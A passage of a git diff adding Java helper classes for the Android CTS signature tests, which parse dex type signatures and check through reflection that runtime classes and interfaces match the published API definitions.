+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+public class DexField extends DexMember {
+  public DexField(String className, String name, String type, String[] flags) {
+      super(className, name, type, flags);
+  }
+
+  @Override
+  public String toString() {
+      return getJavaType() + " " + getJavaClassName() + "." + getName();
+  }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexMember.java b/tests/signature/lib/common/src/android/signature/cts/DexMember.java
new file mode 100644
index 0000000..a3898ec
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/DexMember.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+/**
+ * Represents one class member parsed from the reader of dex signatures.
+ */
+public abstract class DexMember {
+    private final String mName;
+    private final String mClassDescriptor;
+    private final String mType;
+    private final String[] mFlags;
+
+    protected DexMember(String className, String name, String type, String[] flags) {
+        mName = name;
+        mClassDescriptor = className;
+        mType = type;
+        mFlags = flags;
+    }
+
+    public String getName() {
+        return mName;
+    }
+
+    public String getDexClassName() {
+        return mClassDescriptor;
+    }
+
+    public String getJavaClassName() {
+        return dexToJavaType(mClassDescriptor);
+    }
+
+    public String getDexType() {
+        return mType;
+    }
+
+    public String getJavaType() {
+        return dexToJavaType(mType);
+    }
+
+    public String[] getHiddenapiFlags() {
+        return mFlags;
+    }
+
+    /**
+     * Converts `type` to a Java type.
+     */
+    protected static String dexToJavaType(String type) {
+        String javaDimension = "";
+        while (type.startsWith("[")) {
+            javaDimension += "[]";
+            type = type.substring(1);
+        }
+
+        String javaType = null;
+        if ("V".equals(type)) {
+            javaType = "void";
+        } else if ("Z".equals(type)) {
+            javaType = "boolean";
+        } else if ("B".equals(type)) {
+            javaType = "byte";
+        } else if ("C".equals(type)) {
+            javaType = "char";
+        } else if ("S".equals(type)) {
+            javaType = "short";
+        } else if ("I".equals(type)) {
+            javaType = "int";
+        } else if ("J".equals(type)) {
+            javaType = "long";
+        } else if ("F".equals(type)) {
+            javaType = "float";
+        } else if ("D".equals(type)) {
+            javaType = "double";
+        } else if (type.startsWith("L") && type.endsWith(";")) {
+            javaType = type.substring(1, type.length() - 1).replace('/', '.');
+        } else {
+            throw new IllegalStateException("Unexpected type " + type);
+        }
+
+        return javaType + javaDimension;
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexMethod.java b/tests/signature/lib/common/src/android/signature/cts/DexMethod.java
new file mode 100644
index 0000000..9f209fe
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/DexMethod.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Collectors;
+
+public class DexMethod extends DexMember {
+  private final List<String> mParamTypeList;
+
+  public DexMethod(String className, String name, String signature, String[] flags) {
+      super(className, name, parseDexReturnType(signature), flags);
+      mParamTypeList = parseDexTypeList(signature);
+  }
+
+  public String getDexSignature() {
+      return "(" + String.join("", mParamTypeList) + ")" + getDexType();
+  }
+
+  public List<String> getJavaParameterTypes() {
+      return mParamTypeList.stream().map(DexMember::dexToJavaType).collect(Collectors.toList());
+  }
+
+  public boolean isConstructor() {
+      return "<init>".equals(getName()) && "V".equals(getDexType());
+  }
+
+  public boolean isStaticConstructor() {
+      return "<clinit>".equals(getName()) && "V".equals(getDexType());
+  }
+
+  @Override
+  public String toString() {
+      return getJavaType() + " " + getJavaClassName() + "." + getName()
+              + "(" + String.join(", ", getJavaParameterTypes()) + ")";
+  }
+
+  private static Matcher matchSignature(String signature) {
+      Matcher m = Pattern.compile("^\\((.*)\\)(.*)$").matcher(signature);
+      if (!m.matches()) {
+          throw new RuntimeException("Could not parse method signature: " + signature);
+      }
+      return m;
+  }
+
+  private static String parseDexReturnType(String signature) {
+      return matchSignature(signature).group(2);
+  }
+
+  private static List<String> parseDexTypeList(String signature) {
+      String typeSequence = matchSignature(signature).group(1);
+      List<String> list = new ArrayList<String>();
+      while (!typeSequence.isEmpty()) {
+          String type = firstDexTypeFromList(typeSequence);
+          list.add(type);
+          typeSequence = typeSequence.substring(type.length());
+      }
+      return list;
+  }
+
+  /**
+   * Returns the first dex type in `typeList` or throws a ParserException
+   * if a dex type is not recognized. The input is not changed.
+   */
+  private static String firstDexTypeFromList(String typeList) {
+      String dexDimension = "";
+      while (typeList.startsWith("[")) {
+          dexDimension += "[";
+          typeList = typeList.substring(1);
+      }
+
+      String type = null;
+      if (typeList.startsWith("V")
+              || typeList.startsWith("Z")
+              || typeList.startsWith("B")
+              || typeList.startsWith("C")
+              || typeList.startsWith("S")
+              || typeList.startsWith("I")
+              || typeList.startsWith("J")
+              || typeList.startsWith("F")
+              || typeList.startsWith("D")) {
+          type = typeList.substring(0, 1);
+      } else if (typeList.startsWith("L") && typeList.indexOf(";") > 0) {
+          type = typeList.substring(0, typeList.indexOf(";") + 1);
+      } else {
+          throw new RuntimeException("Unexpected dex type in \"" + typeList + "\"");
+      }
+
+      return dexDimension + type;
+  }
+}
diff --git a/tests/signature/src/android/signature/cts/ExcludingClassProvider.java b/tests/signature/lib/common/src/android/signature/cts/ExcludingClassProvider.java
similarity index 100%
rename from tests/signature/src/android/signature/cts/ExcludingClassProvider.java
rename to tests/signature/lib/common/src/android/signature/cts/ExcludingClassProvider.java
diff --git a/tests/signature/src/android/signature/cts/FailureType.java b/tests/signature/lib/common/src/android/signature/cts/FailureType.java
similarity index 100%
rename from tests/signature/src/android/signature/cts/FailureType.java
rename to tests/signature/lib/common/src/android/signature/cts/FailureType.java
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
new file mode 100644
index 0000000..66492ff
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+/**
+ * Checks that the runtime representation of the interfaces match the API definition.
+ *
+ * <p>Interfaces are treated differently to other classes. Whereas other classes are checked by
+ * making sure that every member in the API is accessible through reflection. Interfaces are
+ * checked to make sure that every method visible through reflection is defined in the API. The
+ * reason for this difference is to ensure that no additional methods have been added to interfaces
+ * that are expected to be implemented by Android developers because that would break backwards
+ * compatibility.
+ *
+ * TODO(b/71886491): This also potentially applies to abstract classes that the App developers are
+ * expected to extend.
+ */
+class InterfaceChecker {
+
+    private static final Set<String> HIDDEN_INTERFACE_METHOD_WHITELIST = new HashSet<>();
+    static {
+        // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
+        // methods that do not appear in current.txt. Interfaces added to this
+        // list are probably not meant to be implemented in an application.
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
+        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
+    }
+
+    private final ResultObserver resultObserver;
+
+    private final Map<Class<?>, JDiffClassDescription> class2Description =
+            new TreeMap<>(Comparator.comparing(Class::getName));
+
+    private final ClassProvider classProvider;
+
+    InterfaceChecker(ResultObserver resultObserver, ClassProvider classProvider) {
+        this.resultObserver = resultObserver;
+        this.classProvider = classProvider;
+    }
+
+    public void checkQueued() {
+        for (Map.Entry<Class<?>, JDiffClassDescription> entry : class2Description.entrySet()) {
+            Class<?> runtimeClass = entry.getKey();
+            JDiffClassDescription classDescription = entry.getValue();
+            List<Method> methods = checkInterfaceMethodCompliance(classDescription, runtimeClass);
+            if (methods.size() > 0) {
+                resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
+                        classDescription.getAbsoluteClassName(), "Interfaces cannot be modified: "
+                                + classDescription.getAbsoluteClassName() + ": " + methods);
+            }
+        }
+    }
+
+    private static <T> Predicate<T> not(Predicate<T> predicate) {
+        return predicate.negate();
+    }
+
+    /**
+     * Validate that an interfaces method count is as expected.
+     *
+     * @param classDescription the class's API description.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
+    private List<Method> checkInterfaceMethodCompliance(
+            JDiffClassDescription classDescription, Class<?> runtimeClass) {
+
+        return Stream.of(runtimeClass.getDeclaredMethods())
+                .filter(not(Method::isDefault))
+                .filter(not(Method::isSynthetic))
+                .filter(not(Method::isBridge))
+                .filter(m -> !Modifier.isStatic(m.getModifiers()))
+                .filter(m -> !HIDDEN_INTERFACE_METHOD_WHITELIST.contains(m.toGenericString()))
+                .filter(m -> !findMethod(classDescription, m))
+                .collect(Collectors.toCollection(ArrayList::new));
+    }
+
+    private boolean findMethod(JDiffClassDescription classDescription, Method method) {
+        Map<Method, String> matchNameNotSignature = new LinkedHashMap<>();
+        for (JDiffClassDescription.JDiffMethod jdiffMethod : classDescription.getMethods()) {
+            if (ReflectionHelper.matchesSignature(jdiffMethod, method, matchNameNotSignature)) {
+                return true;
+            }
+        }
+        for (String interfaceName : classDescription.getImplInterfaces()) {
+            Class<?> interfaceClass = null;
+            try {
+                interfaceClass = ReflectionHelper.findMatchingClass(interfaceName, classProvider);
+            } catch (ClassNotFoundException e) {
+                LogHelper.loge("ClassNotFoundException for " + classDescription.getAbsoluteClassName(), e);
+            }
+
+            JDiffClassDescription implInterface = class2Description.get(interfaceClass);
+            if (implInterface == null) {
+                // Class definition is not in the scope of the API definitions.
+                continue;
+            }
+
+            if (findMethod(implInterface, method)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    void queueForDeferredCheck(JDiffClassDescription classDescription, Class<?> runtimeClass) {
+
+        JDiffClassDescription existingDescription = class2Description.get(runtimeClass);
+        if (existingDescription != null) {
+            for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
+                existingDescription.addMethod(method);
+            }
+        } else {
+            class2Description.put(runtimeClass, classDescription);
+        }
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
new file mode 100644
index 0000000..97f11d0
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
@@ -0,0 +1,531 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts;
+
+import java.lang.reflect.Modifier;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Represents class descriptions loaded from a jdiff xml file.  Used
+ * for CTS SignatureTests.
+ */
+public class JDiffClassDescription {
+
+    public enum JDiffType {
+        INTERFACE, CLASS
+    }
+
+    private final String mPackageName;
+    private final String mShortClassName;
+
+    /**
+     * Package name + short class name
+     */
+    private final String mAbsoluteClassName;
+
+    private int mModifier;
+
+    private String mExtendedClass;
+    private final List<String> implInterfaces = new ArrayList<>();
+    private final List<JDiffField> jDiffFields = new ArrayList<>();
+    private final List<JDiffMethod> jDiffMethods = new ArrayList<>();
+    private final List<JDiffConstructor> jDiffConstructors = new ArrayList<>();
+
+    private JDiffType mClassType;
+
+    /**
+     * Creates a new JDiffClassDescription.
+     *
+     * @param pkg the java package this class will end up in.
+     * @param className the name of the class.
+     */
+    public JDiffClassDescription(String pkg, String className) {
+        mPackageName = pkg;
+        mShortClassName = className;
+        mAbsoluteClassName = mPackageName + "." + mShortClassName;
+    }
+
+
+    String getPackageName() {
+        return mPackageName;
+    }
+
+    public String getShortClassName() {
+        return mShortClassName;
+    }
+
+    int getModifier() {
+        return mModifier;
+    }
+
+    String getExtendedClass() {
+        return mExtendedClass;
+    }
+
+    List<String> getImplInterfaces() {
+        return implInterfaces;
+    }
+
+    List<JDiffField> getFields() {
+        return jDiffFields;
+    }
+
+    List<JDiffMethod> getMethods() {
+        return jDiffMethods;
+    }
+
+    List<JDiffConstructor> getConstructors() {
+        return jDiffConstructors;
+    }
+
+    JDiffType getClassType() {
+        return mClassType;
+    }
+
+    /**
+     * adds implemented interface name.
+     *
+     * @param iname name of interface
+     */
+    public void addImplInterface(String iname) {
+        implInterfaces.add(iname);
+    }
+
+    /**
+     * Adds a field.
+     *
+     * @param field the field to be added.
+     */
+    public void addField(JDiffField field) {
+        jDiffFields.add(field);
+    }
+
+    /**
+     * Adds a method.
+     *
+     * @param method the method to be added.
+     */
+    public void addMethod(JDiffMethod method) {
+        jDiffMethods.add(method);
+    }
+
+    /**
+     * Adds a constructor.
+     *
+     * @param tc the constructor to be added.
+     */
+    public void addConstructor(JDiffConstructor tc) {
+        jDiffConstructors.add(tc);
+    }
+
+    private static String convertModifiersToAccessLevel(int modifiers) {
+        if ((modifiers & Modifier.PUBLIC) != 0) {
+            return "public";
+        } else if ((modifiers & Modifier.PRIVATE) != 0) {
+            return "private";
+        } else if ((modifiers & Modifier.PROTECTED) != 0) {
+            return "protected";
+        } else {
+            // package protected
+            return "";
+        }
+    }
+
+    private static String convertModifersToModifierString(int modifiers) {
+        StringBuilder sb = new StringBuilder();
+        String separator = "";
+
+        // order taken from Java Language Spec, sections 8.1.1, 8.3.1, and 8.4.3
+        if ((modifiers & Modifier.ABSTRACT) != 0) {
+            sb.append(separator).append("abstract");
+            separator = " ";
+        }
+        if ((modifiers & Modifier.STATIC) != 0) {
+            sb.append(separator).append("static");
+            separator = " ";
+        }
+        if ((modifiers & Modifier.FINAL) != 0) {
+            sb.append(separator).append("final");
+            separator = " ";
+        }
+        if ((modifiers & Modifier.TRANSIENT) != 0) {
+            sb.append(separator).append("transient");
+            separator = " ";
+        }
+        if ((modifiers & Modifier.VOLATILE) != 0) {
+            sb.append(separator).append("volatile");
+            separator = " ";
+        }
+        if ((modifiers & Modifier.SYNCHRONIZED) != 0) {
+            sb.append(separator).append("synchronized");
+            separator = " ";
+        }
+        if ((modifiers & Modifier.NATIVE) != 0) {
+            sb.append(separator).append("native");
+            separator = " ";
+        }
+        if ((modifiers & Modifier.STRICT) != 0) {
+            sb.append(separator).append("strictfp");
+        }
+
+        return sb.toString();
+    }
+
+    abstract static class JDiffElement {
+        final String mName;
+        int mModifier;
+
+        JDiffElement(String name, int modifier) {
+            mName = name;
+            mModifier = modifier;
+        }
+    }
+
+    /**
+     * Represents a  field.
+     */
+    public static final class JDiffField extends JDiffElement {
+        final String mFieldType;
+        private final String mFieldValue;
+
+        public JDiffField(String name, String fieldType, int modifier, String value) {
+            super(name, modifier);
+
+            mFieldType = fieldType;
+            mFieldValue = value;
+        }
+
+        /**
+         * A string representation of the value within the field.
+         */
+        public String getValueString() {
+            return mFieldValue;
+        }
+
+        /**
+         * Make a readable string according to the class name specified.
+         *
+         * @param className The specified class name.
+         * @return A readable string to represent this field along with the class name.
+         */
+        String toReadableString(String className) {
+            return className + "#" + mName + "(" + mFieldType + ")";
+        }
+
+        public String toSignatureString() {
+            StringBuilder sb = new StringBuilder();
+
+            // access level
+            String accesLevel = convertModifiersToAccessLevel(mModifier);
+            if (!"".equals(accesLevel)) {
+                sb.append(accesLevel).append(" ");
+            }
+
+            String modifierString = convertModifersToModifierString(mModifier);
+            if (!"".equals(modifierString)) {
+                sb.append(modifierString).append(" ");
+            }
+
+            sb.append(mFieldType).append(" ");
+
+            sb.append(mName);
+
+            return sb.toString();
+        }
+    }
+
+    /**
+     * Represents a method.
+     */
+    public static class JDiffMethod extends JDiffElement {
+        final String mReturnType;
+        final ArrayList<String> mParamList;
+        final ArrayList<String> mExceptionList;
+
+        public JDiffMethod(String name, int modifier, String returnType) {
+            super(name, modifier);
+
+            if (returnType == null) {
+                mReturnType = "void";
+            } else {
+                mReturnType = scrubJdiffParamType(returnType);
+            }
+
+            mParamList = new ArrayList<>();
+            mExceptionList = new ArrayList<>();
+        }
+
+        /**
+         * Adds a parameter.
+         *
+         * @param param parameter type
+         */
+        public void addParam(String param) {
+            mParamList.add(scrubJdiffParamType(param));
+        }
+
+        /**
+         * Adds an exception.
+         *
+         * @param exceptionName name of exception
+         */
+        public void addException(String exceptionName) {
+            mExceptionList.add(exceptionName);
+        }
+
+        /**
+         * Makes a readable string according to the class name specified.
+         *
+         * @param className The specified class name.
+         * @return A readable string to represent this method along with the class name.
+         */
+        String toReadableString(String className) {
+            return className + "#" + mName + "(" + convertParamList(mParamList) + ")";
+        }
+
+        /**
+         * Converts a parameter array to a string
+         *
+         * @param params the array to convert
+         * @return converted parameter string
+         */
+        private static String convertParamList(final ArrayList<String> params) {
+
+            StringBuilder paramList = new StringBuilder();
+
+            if (params != null) {
+                for (String str : params) {
+                    paramList.append(str).append(", ");
+                }
+                if (params.size() > 0) {
+                    paramList.delete(paramList.length() - 2, paramList.length());
+                }
+            }
+
+            return paramList.toString();
+        }
+
+        public String toSignatureString() {
+            StringBuilder sb = new StringBuilder();
+
+            // access level
+            String accessLevel = convertModifiersToAccessLevel(mModifier);
+            if (!"".equals(accessLevel)) {
+                sb.append(accessLevel).append(" ");
+            }
+
+            String modifierString = convertModifersToModifierString(mModifier);
+            if (!"".equals(modifierString)) {
+                sb.append(modifierString).append(" ");
+            }
+
+            String returnType = getReturnType();
+            if (!"".equals(returnType)) {
+                sb.append(returnType).append(" ");
+            }
+
+            sb.append(mName);
+            sb.append("(");
+            for (int x = 0; x < mParamList.size(); x++) {
+                sb.append(mParamList.get(x));
+                if (x + 1 != mParamList.size()) {
+                    sb.append(", ");
+                }
+            }
+            sb.append(")");
+
+            // does it throw?
+            if (mExceptionList.size() > 0) {
+                sb.append(" throws ");
+                for (int x = 0; x < mExceptionList.size(); x++) {
+                    sb.append(mExceptionList.get(x));
+                    if (x + 1 != mExceptionList.size()) {
+                        sb.append(", ");
+                    }
+                }
+            }
+
+            return sb.toString();
+        }
+
+        /**
+         * Gets the return type.
+         *
+         * @return the return type of this method.
+         */
+        String getReturnType() {
+            return mReturnType;
+        }
+    }
+
+    /**
+     * Represents a constructor.
+     */
+    public static final class JDiffConstructor extends JDiffMethod {
+        public JDiffConstructor(String name, int modifier) {
+            super(name, modifier, null);
+        }
+
+        /**
+         * Gets the return type.
+         *
+         * @return the return type of this method.
+         */
+        @Override
+        protected String getReturnType() {
+            // Constructors have no return type.
+            return "";
+        }
+    }
+
+    /**
+     * Gets the list of fields found within this class.
+     *
+     * @return the list of fields.
+     */
+    public Collection<JDiffField> getFieldList() {
+        return jDiffFields;
+    }
+
+    /**
+     * Convert the class into a printable signature string.
+     *
+     * @return the signature string
+     */
+    public String toSignatureString() {
+        StringBuilder sb = new StringBuilder();
+
+        String accessLevel = convertModifiersToAccessLevel(mModifier);
+        if (!"".equals(accessLevel)) {
+            sb.append(accessLevel).append(" ");
+        }
+        if (!JDiffType.INTERFACE.equals(mClassType)) {
+            String modifierString = convertModifersToModifierString(mModifier);
+            if (!"".equals(modifierString)) {
+                sb.append(modifierString).append(" ");
+            }
+            sb.append("class ");
+        } else {
+            sb.append("interface ");
+        }
+        // class name
+        sb.append(mShortClassName);
+
+        // does it extends something?
+        if (mExtendedClass != null) {
+            sb.append(" extends ").append(mExtendedClass).append(" ");
+        }
+
+        // implements something?
+        if (implInterfaces.size() > 0) {
+            sb.append(" implements ");
+            for (int x = 0; x < implInterfaces.size(); x++) {
+                String interf = implInterfaces.get(x);
+                sb.append(interf);
+                // if not last elements
+                if (x + 1 != implInterfaces.size()) {
+                    sb.append(", ");
+                }
+            }
+        }
+        return sb.toString();
+    }
+
+    /**
+     * Sees if the class under test is actually an enum.
+     *
+     * @return true if this class is enum
+     */
+    boolean isEnumType() {
+        return "java.lang.Enum".equals(mExtendedClass);
+    }
+
+    /**
+     * Sees if the class under test is actually an annotation.
+     *
+     * @return true if this class is Annotation.
+     */
+    boolean isAnnotation() {
+        return implInterfaces.contains("java.lang.annotation.Annotation");
+    }
+
+    /**
+     * Gets the class name for the class under test.
+     *
+     * @return the class name.
+     */
+    String getClassName() {
+        return mShortClassName;
+    }
+
+    /**
+     * Gets the package name + short class name
+     *
+     * @return The package + short class name
+     */
+    public String getAbsoluteClassName() {
+        return mAbsoluteClassName;
+    }
+
+    /**
+     * Sets the modifier for the class under test.
+     *
+     * @param modifier the modifier
+     */
+    public void setModifier(int modifier) {
+        mModifier = modifier;
+    }
+
+    /**
+     * Sets the return type for the class under test.
+     *
+     * @param type the return type
+     */
+    public void setType(JDiffType type) {
+        mClassType = type;
+    }
+
+    /**
+     * Sets the class that is beign extended for the class under test.
+     *
+     * @param extendsClass the class being extended.
+     */
+    void setExtendsClass(String extendsClass) {
+        mExtendedClass = extendsClass;
+    }
+
+    /**
+     * Cleans up jdiff parameters to canonicalize them.
+     *
+     * @param paramType the parameter from jdiff.
+     * @return the scrubbed version of the parameter.
+     */
+    private static String scrubJdiffParamType(String paramType) {
+        // <? extends java.lang.Object and <?> are the same, so
+        // canonicalize them to one form.
+        return paramType
+            .replace("? extends java.lang.Object", "?")
+            .replace("? super java.lang.Object", "? super ?");
+    }
+
+    @Override
+    public String toString() {
+        return mAbsoluteClassName;
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/LogHelper.java b/tests/signature/lib/common/src/android/signature/cts/LogHelper.java
new file mode 100644
index 0000000..5505e4a
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/LogHelper.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+/**
+ */
+public class LogHelper {
+
+    static void loge(String message, Exception exception) {
+        System.out.println(String.format("%s: %s", message, exception));
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
new file mode 100644
index 0000000..6b6140a
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
@@ -0,0 +1,611 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.Member;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.lang.reflect.WildcardType;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Uses reflection to obtain runtime representations of elements in the API.
+ */
+public class ReflectionHelper {
+
+    /**
+     * Finds the reflected class for the class under test.
+     *
+     * @param classDescription the description of the class to find.
+     * @return the reflected class, or null if not found.
+     */
+    public static Class<?> findMatchingClass(JDiffClassDescription classDescription,
+            ClassProvider classProvider) throws ClassNotFoundException {
+        // even if there are no . in the string, split will return an
+        // array of length 1
+        String shortClassName = classDescription.getShortClassName();
+        String[] classNameParts = shortClassName.split("\\.");
+        String packageName = classDescription.getPackageName();
+        String outermostClassName = packageName + "." + classNameParts[0];
+        int firstInnerClassNameIndex = 0;
+
+        return searchForClass(classProvider, classDescription.getAbsoluteClassName(),
+                outermostClassName, classNameParts,
+                firstInnerClassNameIndex);
+    }
+
+    private static Class<?> searchForClass(
+            ClassProvider classProvider,
+            String absoluteClassName,
+            String outermostClassName, String[] classNameParts,
+            int outerClassNameIndex) throws ClassNotFoundException {
+
+        Class<?> clz = classProvider.getClass(outermostClassName);
+        if (clz.getCanonicalName().equals(absoluteClassName)) {
+            return clz;
+        }
+
+        // Then it must be an inner class.
+        for (int x = outerClassNameIndex + 1; x < classNameParts.length; x++) {
+            clz = findInnerClassByName(clz, classNameParts[x]);
+            if (clz == null) {
+                return null;
+            }
+            if (clz.getCanonicalName().equals(absoluteClassName)) {
+                return clz;
+            }
+        }
+        return null;
+    }
+
+    static Class<?> findMatchingClass(String absoluteClassName, ClassProvider classProvider)
+            throws ClassNotFoundException {
+
+        String[] classNameParts = absoluteClassName.split("\\.");
+        StringBuilder builder = new StringBuilder();
+        String separator = "";
+        int start;
+        for (start = 0; start < classNameParts.length; start++) {
+            String classNamePart = classNameParts[start];
+            builder.append(separator).append(classNamePart);
+            separator = ".";
+            if (Character.isUpperCase(classNamePart.charAt(0))) {
+                break;
+            }
+        }
+        String outermostClassName = builder.toString();
+
+        return searchForClass(classProvider, absoluteClassName, outermostClassName, classNameParts,
+                start);
+    }
+
+    /**
+     * Searches the class for the specified inner class.
+     *
+     * @param clz the class to search in.
+     * @param simpleName the simpleName of the class to find
+     * @return the class being searched for, or null if it can't be found.
+     */
+    private static Class<?> findInnerClassByName(Class<?> clz, String simpleName) {
+        for (Class<?> c : clz.getDeclaredClasses()) {
+            if (c.getSimpleName().equals(simpleName)) {
+                return c;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Searches available constructor.
+     *
+     * @param runtimeClass the class in which to search.
+     * @param jdiffDes constructor description to find.
